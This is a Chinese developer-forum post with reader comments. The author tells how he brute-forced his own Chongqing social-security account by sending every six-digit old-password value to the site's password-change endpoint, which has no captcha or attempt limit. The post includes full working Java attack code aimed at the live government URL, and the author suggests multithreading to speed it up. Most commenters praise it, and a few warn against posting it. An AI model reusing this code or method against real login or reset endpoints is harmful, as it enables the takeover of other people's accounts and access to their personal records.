一次跟社保局的碰撞试验

本贴最后更新于 2553 天前,其中的信息可能已经天翻地覆

  昨天早晨,我妈叫我把回来重庆后参加工作的社保缴纳的截图发给她,她给村里的一个类似于会计工作的人,用于统计整个村的社保缴纳情况,我一想,这个简单呐,以前在惠州的时候也给过一次,登录网站 + 截图,简单快捷。

  可是当我登录上重庆的社保查询界面的时候,才发现事情并没有那么简单,第一,我好想没有社保卡,第二, 我并不知道社保查询密码。于是我发微信问了下我们 HR 社保情况,谁知道我们美丽大方温柔漂亮的 HR 居然叫我直接联系第三方参保方,也就是重庆中智。一个电话打过,没人接,二个电话打过去没人接,三个电话打过去还是没人接。我大概周末这群人可能是不上班的,可是俺妈催得紧咋办呢。

  所以我索性打电话给重庆社保局,看看能不能重置我的登录密码。一个电话打过,没人接,二个电话打过去没人接,三个电话打过去还是没人接。这个就有点绝望了,各位大佬们都是要休周末的,我有点绝望。

  当我百无聊赖的点着登录界面,胡乱试试我平时喜欢用的密码的时候,我在想,为什么不来一场激烈的碰撞。你看看 6 位数的数字密码。排列组合也就 1000000 种可能而已,学这个行业,不能白瞎了呀,区区官方网站,又岂能奈我何,所以我打算去 gayhub 上搜一搜验证码的破解,就这破验证码做得,不是随随便便就可以搞定的吗。

  还没准备搜,看到图中有个修改密码的选项,于是就点了,结果。。。。是个伪按钮,根本点不动,什么都没有发生,我一想这不可能啊,好歹是官方的网站,怎么可能放个如此难看的按钮在这里摆着,要做样子也要摆个好看的不是,这么难看的按钮,肯定是有用的。于是结合我在 TCL 的经历,我觉得这个按钮应该只有在 ie8 以及以下的浏览器才能生效,but 我总不能去下载一个 ie8 吧。

  我觉得试试我的前端水准,F12 按下去,

<a onclick="changePwd();;;" style="margin-left: 10px; text-decoration: underline;">修改个人查询密码</a>

  我也不知道这个三个分号是个什么意思,所以我顺便找到了 changePwd()的函数

function changePwd() { var url = "/ggfw/pages/wxcx/grmmgl.jsp"; window.showModalDialog(url, this, "center:1;dialogWidth:700px;dialogHeight:500px;"); }

  所以搞了半天,这个只是彪出个弹窗而已,将链接地址复制到浏览器

 

  如此清新的界面,不禁让我感到一丝尊敬,没有了验证码的干扰,真是让我无比兴奋,输入了正确的原文,然后点击提交,F12,我就看到了我想看到的东西,也就是 http 的 header


  可以看到这个平凡到不能在平凡的请求,几乎没有任何添加剂,简直是完美。

  开始我的编程之旅,就用这个修改密码的链接,还省去了我去下载和验证破解验证码的代码的过程,这个样简单的碰撞密码的代码,我一个小时能写一打儿

public static String Post(String strURL, String params) { try { URL url = new URL(strURL);// 创建连接 HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setDoOutput(true); connection.setDoInput(true); connection.setUseCaches(false); connection.setInstanceFollowRedirects(true); connection.setRequestMethod("POST"); // 设置请求方式 connection.setReadTimeout(100); connection.connect(); OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8编码 out.append(params); out.flush(); out.close(); InputStream is = connection.getInputStream(); byte\[\] temp = new byte\[connection.getContentLength()\]; is.read(temp); String result = new String(temp, "UTF-8"); // utf-8编码 return result; } catch (IOException e) { return "IOException"; } }

 以下是解析成字符串

public static String getPwdString(int index) { int length = String.valueOf(index).length(); switch (length) { case 1: return "00000"+index; case 2: return "0000"+index; case 3: return "000"+index; case 4: return "00"+index; case 5: return "0"+index; case 6: return ""+index; default: return ""; } } ```  以下是主函数

public static void main(String[] args) throws InterruptedException {
String url = "http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do";
String urlpara = "bh=50010********45***5&xm=文昌平&ymm=pwd&xmm=123456&rmm=123456";

for(int i=0;i<1000000;i++) { String pwdd = getPwdString(i); if(pwdd.equals("")) { System.out.println("获取密码出错"); System.exit(0); } String result = Post(url,urlpara.replace("pwd", pwdd)); while("IOException".equals(result)) { result = Post(url,urlpara.replace("pwd", pwdd)); } System.out.println(i); Bean bean = JSONUtil.json2Object(result, Bean.class); if(bean.getCode()!=0) { System.out.println("设置成功"); System.exit(0); } } }
于是在一段时间后,程序退出了,设置密码成功,我用我的新密码登录,果然就通过了。觉得很有意思,在此分享。   后记,这个代码有很大的提升空间,你要知道,请求一百万次http请求还是很费时间的,如果能搞成多线程的话,将会非常完美,也许10分钟就能出结果,由于我目的已经达到了,所以也就没有去接着研究,而且写多线程的时间,也许我答案已经找到了,毕竟如果密码是1开头或者0开头的话,就会很快。   以上,分享给各位
  • 安全

    安全永远都不是一个小问题。

    203 引用 • 818 回帖
  • 社保
    3 引用 • 78 回帖
  • 程序员

    程序员是从事程序开发、程序维护的专业人员。

    589 引用 • 3538 回帖

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...
  • Eddie

    这种文章,社区不能发的吧。

    1 回复
  • xjtushilei

    楼主很 6 呀.

    另,多线程多写点,以后都是随手写的

    1 回复
  • jy02201949

    要是我就拿一些常见的密码怼上去,默认密码一般都比较弱智的吧

    1 回复
  • wenandlu
    作者

    这有什么不能发的,靠本事碰撞的密码,凭什么不能发

  • wenandlu
    作者

    多线程一开始没想那么多,而且我有强迫症,一旦考虑到同步或者共享数据的情况,我就很谨慎,反而耽误我找答案,毕竟,我的目的很单纯,我只想改个密码而已

  • wenandlu
    作者

    默认密码是社保卡后六位数,后来实验证明,后六位完全是随机的

    1 回复
  • fu123 via macOS

    源码来一打

  • fu123 via macOS

    源码来能看看吗,楼主?

    1 回复
  • wenandlu
    作者

    全部源码都在博客里呀,就这么点东西

  • cangxian via Linux

    握草,都是写 Java 的,为何你这么优秀

  • ibut

    66666666

  • yangyujiao

    这种你没有改过的肯定有初始密码呀。。。百度一下就可以的吧。之前我公积金的就是一直用初始密码,忘记了,就百度北京公积金初始密码。。。

    不过,小哥哥很厉害呀,脑子够灵活啊。

    1 回复
  • wyjackie

    这种内容还是不要发的好,避免不必要的麻烦

    1 回复
  • auvCool via macOS

    burp suit 了解一下

  • alanfans

    政府网站呢,你能这么玩?你不怕收快递?

    2 回复
  • ab

    故事比代码好看系列

  • ab

    第一张图暴露身份证号系列

  • wenandlu
    作者

    初始密码是社保卡号码后六位,可是我根本没有社保卡

    1 回复
  • wenandlu
    作者

    我帮他们找 bug,至少得谢谢我,怎么会有麻烦呢

  • wenandlu
    作者

    简单得说,我不怕,哈哈

  • wenandlu
    作者

    说不定政府把我招安,去做政府网站的安全管理,我也挺乐意的

    1 回复
  • jama

    怕是去做个锤子哦

  • yangyujiao

    你是因为刚缴纳,社保卡还没下来吗?
    不然怎么会缴纳了社保,没有卡呢。

    另外社保卡号码就是身份证号码啊。

    1 回复
  • Zachary via Linux

    前段时间和楼主一样,然而深圳社保登录失败超出一定次数就不让登录了,老老实实手机重置

    1 回复
  • zorro3556

    企事业单位的网站安防还停留在十年前,楼主威武

    2 回复
  • wenandlu
    作者

    社保去年就开始交了,但是社保卡一直没有,去查又是交了的,也不知道为啥,而且社保卡号码不是身份证号码,因为身份证后六位我试过了,不正确

    1 回复
  • wenandlu
    作者

    重庆社保登录失败一定次数也会不让登录,但是让我找到了 bug,就是修改密码没有限制

  • wenandlu
    作者

    哈哈,为啥我感觉不是因为他们 low,而是我太牛逼呢😂

    1 回复
  • yangyujiao

    北京的社保卡上面的账号就是身份证的号码。
    是不是你查的初始密码不对,不是身份证后 6 位呢。

    比如我记得公积金的是身份证后 4 位 +00.

    你缴纳了社保,社保卡不应该这么就没拿到,登录可以看到社保卡的进度,是哪个步骤都写了。

    1 回复
  • wenandlu
    作者

    可是,就是没有😭 ,我也不想去追究了,需要用到再去社保去补办吧

    1 回复
  • yangyujiao

    这玩意是公司去领回来,发给你的。你去医院挂号就要用的呀···

    1 回复
  • wenandlu
    作者

    说出来你可能不信,我这辈子没因为我自己的事情去过医院,大多都是去药店那点感冒药.......

    1 回复
  • yangyujiao

    我信呀 因为正常人都不太去医院啊,我感冒发烧啥的也从来不去医院啊。。。

  • UUUS

    是你太吊

  • fayray

    厉害,厉害、当年去家公司,前 HR 走得急,没有把社保公司的账户密码交接,
    木有办法,只能老实去柜面办理,密码重更业务

  • kkk

    小结下,大概就是用程序写几位数的随机原密码,直到正确,然后修改密码成功。所以,楼主公布源码的吗trollface

    1 回复
  • qiangzi163

    佩服佩服,自行搞定

  • loocao

    不知道是哪个学校的学生写的~

  • wenandlu
    作者

    源码就在博客中,就那么 2 段,写的略为丑陋

  • someone9891 via macOS

    你为什么不给身份证号打个码啊?

    1 回复
  • wenandlu
    作者

  • Peiel via macOS

    楼主 666,不过这个网站做的真不够安全的

  • chocotan via Linux

    上海、苏州都是没社保卡的,只有医保卡

    1 回复
  • wenandlu
    作者

    😂 你关注的点好奇怪哈

  • wenandlu
    作者

    这破帖子居然浏览量可以上千,白瞎了那些年我在 iteye 上写的那些博客了

  • nywlxql

    这个网站做的真不够安全😳

请输入回帖内容 ...

推荐标签 标签

  • Spark

    Spark 是 UC Berkeley AMP lab 所开源的类 Hadoop MapReduce 的通用并行框架。Spark 拥有 Hadoop MapReduce 所具有的优点;但不同于 MapReduce 的是 Job 中间输出结果可以保存在内存中,从而不再需要读写 HDFS,因此 Spark 能更好地适用于数据挖掘与机器学习等需要迭代的 MapReduce 的算法。

    74 引用 • 46 回帖 • 562 关注
  • gRpc
    11 引用 • 9 回帖 • 92 关注
  • CentOS

    CentOS(Community Enterprise Operating System)是 Linux 发行版之一,它是来自于 Red Hat Enterprise Linux 依照开放源代码规定释出的源代码所编译而成。由于出自同样的源代码,因此有些要求高度稳定的服务器以 CentOS 替代商业版的 Red Hat Enterprise Linux 使用。两者的不同在于 CentOS 并不包含封闭源代码软件。

    239 引用 • 224 回帖 • 1 关注
  • HTML

    HTML5 是 HTML 下一个的主要修订版本,现在仍处于发展阶段。广义论及 HTML5 时,实际指的是包括 HTML、CSS 和 JavaScript 在内的一套技术组合。

    108 引用 • 295 回帖
  • B3log

    B3log 是一个开源组织,名字来源于“Bulletin Board Blog”缩写,目标是将独立博客与论坛结合,形成一种新的网络社区体验,详细请看 B3log 构思。目前 B3log 已经开源了多款产品:SymSoloVditor思源笔记

    1063 引用 • 3455 回帖 • 159 关注
  • 思源笔记

    思源笔记是一款隐私优先的个人知识管理系统,支持完全离线使用,同时也支持端到端加密同步。

    融合块、大纲和双向链接,重构你的思维。

    25530 引用 • 105595 回帖 • 1 关注
  • 印象笔记
    3 引用 • 16 回帖
  • Chrome

    Chrome 又称 Google 浏览器,是一个由谷歌公司开发的网页浏览器。该浏览器是基于其他开源软件所编写,包括 WebKit,目标是提升稳定性、速度和安全性,并创造出简单且有效率的使用者界面。

    63 引用 • 289 回帖
  • WordPress

    WordPress 是一个使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设自己的博客。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 是一个免费的开源项目,在 GNU 通用公共许可证(GPLv2)下授权发布。

    67 引用 • 114 回帖 • 193 关注
  • Outlook
    1 引用 • 5 回帖 • 2 关注
  • Q&A

    提问之前请先看《提问的智慧》,好的问题比好的答案更有价值。

    9768 引用 • 44442 回帖 • 88 关注
  • Android

    Android 是一种以 Linux 为基础的开放源码操作系统,主要使用于便携设备。2005 年由 Google 收购注资,并拉拢多家制造商组成开放手机联盟开发改良,逐渐扩展到到平板电脑及其他领域上。

    336 引用 • 324 回帖 • 1 关注
  • 微信

    腾讯公司 2011 年 1 月 21 日推出的一款手机通讯软件。用户可以通过摇一摇、搜索号码、扫描二维码等添加好友和关注公众平台,同时可以将自己看到的精彩内容分享到微信朋友圈。

    133 引用 • 796 回帖
  • Ubuntu

    Ubuntu(友帮拓、优般图、乌班图)是一个以桌面应用为主的 Linux 操作系统,其名称来自非洲南部祖鲁语或豪萨语的“ubuntu”一词,意思是“人性”、“我的存在是因为大家的存在”,是非洲传统的一种价值观,类似华人社会的“仁爱”思想。Ubuntu 的目标在于为一般用户提供一个最新的、同时又相当稳定的主要由自由软件构建而成的操作系统。

    127 引用 • 169 回帖
  • PostgreSQL

    PostgreSQL 是一款功能强大的企业级数据库系统,在 BSD 开源许可证下发布。

    22 引用 • 22 回帖 • 1 关注
  • 设计模式

    设计模式(Design pattern)代表了最佳的实践,通常被有经验的面向对象的软件开发人员所采用。设计模式是软件开发人员在软件开发过程中面临的一般问题的解决方案。这些解决方案是众多软件开发人员经过相当长的一段时间的试验和错误总结出来的。

    200 引用 • 120 回帖 • 1 关注
  • CAP

    CAP 指的是在一个分布式系统中, Consistency(一致性)、 Availability(可用性)、Partition tolerance(分区容错性),三者不可兼得。

    12 引用 • 5 回帖 • 631 关注
  • 正则表达式

    正则表达式(Regular Expression)使用单个字符串来描述、匹配一系列遵循某个句法规则的字符串。

    31 引用 • 94 回帖
  • 强迫症

    强迫症(OCD)属于焦虑障碍的一种类型,是一组以强迫思维和强迫行为为主要临床表现的神经精神疾病,其特点为有意识的强迫和反强迫并存,一些毫无意义、甚至违背自己意愿的想法或冲动反反复复侵入患者的日常生活。

    15 引用 • 161 回帖 • 1 关注
  • 以太坊

    以太坊(Ethereum)并不是一个机构,而是一款能够在区块链上实现智能合约、开源的底层系统。以太坊是一个平台和一种编程语言 Solidity,使开发人员能够建立和发布下一代去中心化应用。 以太坊可以用来编程、分散、担保和交易任何事物:投票、域名、金融交易所、众筹、公司管理、合同和知识产权等等。

    34 引用 • 367 回帖
  • SpaceVim

    SpaceVim 是一个社区驱动的模块化 vim/neovim 配置集合,以模块的方式组织管理插件以
    及相关配置,为不同的语言开发量身定制了相关的开发模块,该模块提供代码自动补全,
    语法检查、格式化、调试、REPL 等特性。用户仅需载入相关语言的模块即可得到一个开箱
    即用的 Vim-IDE。

    3 引用 • 31 回帖 • 113 关注
  • 游戏

    沉迷游戏伤身,强撸灰飞烟灭。

    181 引用 • 821 回帖
  • Latke

    Latke 是一款以 JSON 为主的 Java Web 框架。

    71 引用 • 535 回帖 • 832 关注
  • React

    React 是 Facebook 开源的一个用于构建 UI 的 JavaScript 库。

    196 引用 • 291 回帖 • 373 关注
  • CSS

    CSS(Cascading Style Sheet)“层叠样式表”是用于控制网页样式并允许将样式信息与网页内容分离的一种标记性语言。

    199 引用 • 543 回帖 • 2 关注
  • HBase

    HBase 是一个分布式的、面向列的开源数据库,该技术来源于 Fay Chang 所撰写的 Google 论文 “Bigtable:一个结构化数据的分布式存储系统”。就像 Bigtable 利用了 Google 文件系统所提供的分布式数据存储一样,HBase 在 Hadoop 之上提供了类似于 Bigtable 的能力。

    17 引用 • 6 回帖 • 59 关注
  • Sandbox

    如果帖子标签含有 Sandbox ,则该帖子会被视为“测试帖”,主要用于测试社区功能,排查 bug 等,该标签下内容不定期进行清理。

    434 引用 • 1250 回帖 • 593 关注